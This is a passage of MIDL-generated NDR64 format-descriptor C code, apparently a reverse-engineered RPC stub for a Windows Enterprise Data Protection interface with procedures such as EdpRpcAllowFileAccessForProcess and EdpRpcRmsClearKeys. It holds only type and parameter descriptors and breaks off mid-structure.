\nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n}\n__midl_frag21_t;\nextern const __midl_frag21_t __midl_frag21;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag16_t;\nextern const __midl_frag16_t __midl_frag16;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag15_t;\nextern const __midl_frag15_t __midl_frag15;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag11_t;\nextern const __midl_frag11_t __midl_frag11;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag9_t;\nextern const __midl_frag9_t __midl_frag9;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag4_t;\nextern const __midl_frag4_t __midl_frag4;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag3_t;\nextern const __midl_frag3_t __midl_frag3;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag473_t __midl_frag473 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag472_t __midl_frag472 =\n{ \n/*  */\n    { \n    /* **Struct_904_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag463\n    }\n};\n\nstatic const __midl_frag471_t __midl_frag471 =\n{ \n/* *Struct_904_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag465\n};\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/*  */\n    { \n    /* *Struct_850_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag466\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag469\n    }\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag468_t __midl_frag468 =\n{ \n/* Struct_850_t */\n    { \n    /* Struct_850_t */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* Struct_850_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag467_t __midl_frag467 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag466_t __midl_frag466 =\n{ \n/* *Struct_850_t */\n    { \n    /* *Struct_850_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* *Struct_850_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag467\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag468\n    }\n};\n\nstatic const __midl_frag465_t __midl_frag465 =\n{ \n/* Struct_904_t */\n    { \n    /* Struct_904_t */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_904_t */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag470,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag463_t __midl_frag463 =\n{ \n/* **Struct_904_t */\n    { \n    /* **Struct_904_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* **Struct_904_t */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag467\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *Struct_904_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag465\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag471\n    }\n};\n\nstatic const __midl_frag462_t __midl_frag462 =\n{ \n/* Struct_972_t */\n    { \n    /* Struct_972_t */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_972_t */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag472,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag461_t __midl_frag461 =\n{ \n/* *Struct_972_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag462\n};\n\nstatic const __midl_frag460_t __midl_frag460 =\n{ \n/* **Struct_972_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag461\n};\n\nstatic const __midl_frag459_t __midl_frag459 =\n{ \n/* Proc46_EdpRpcGetTfaCache */\n    { \n    /* Proc46_EdpRpcGetTfaCache */      /* procedure Proc46_EdpRpcGetTfaCache */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag460,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag473,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag456_t __midl_frag456 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag469\n};\n\nstatic const __midl_frag455_t __midl_frag455 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag454_t __midl_frag454 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag453_t __midl_frag453 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag454\n};\n\nstatic const __midl_frag452_t __midl_frag452 =\n{ \n/* Proc45_EdpRpcAllowFileAccessForProcess */\n    { \n    /* Proc45_EdpRpcAllowFileAccessForProcess */      /* procedure Proc45_EdpRpcAllowFileAccessForProcess */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag454,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag455,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag456,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag473,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag449_t __midl_frag449 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag454\n};\n\nstatic const __midl_frag448_t __midl_frag448 =\n{ \n/* **wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag449\n};\n\nstatic const __midl_frag443_t __midl_frag443 =\n{ \n/* Proc44_EdpRpcRmsDecontainerizeFile */\n    { \n    /* Proc44_EdpRpcRmsDecontainerizeFile */      /* procedure Proc44_EdpRpcRmsDecontainerizeFile */\n        (NDR64_UINT32) 17694784 /* 0x10e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag454,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag454,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag448,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag436_t __midl_frag436 =\n{ \n/* Proc43_EdpRpcRmsGetContainerIdentity */\n    { \n    /* Proc43_EdpRpcRmsGetContainerIdentity */      /* procedure Proc43_EdpRpcRmsGetContainerIdentity */\n        (NDR64_UINT32) 17694784 /* 0x10e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag454,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag448,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag423_t __midl_frag423 =\n{ \n/* Proc42_EdpRpcRmsContainerizeFile */\n    { \n    /* Proc42_EdpRpcRmsContainerizeFile */      /* procedure Proc42_EdpRpcRmsContainerizeFile */\n        (NDR64_UINT32) 17694784 /* 0x10e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag454,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag454,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag449,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag454,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag448,\n        { \n        /* arg_5 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag421_t __midl_frag421 =\n{ \n/* Proc41_EdpRpcRmsClearKeys */\n    { \n    /* Proc41_EdpRpcRmsClearKeys */      /* procedure Proc41_EdpRpcRmsClearKeys */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 1 /* 0x1 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag418_t __midl_frag418 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag455\n};\n\nstatic const __midl_frag417_t __midl_frag417 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag416_t __midl_frag416 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        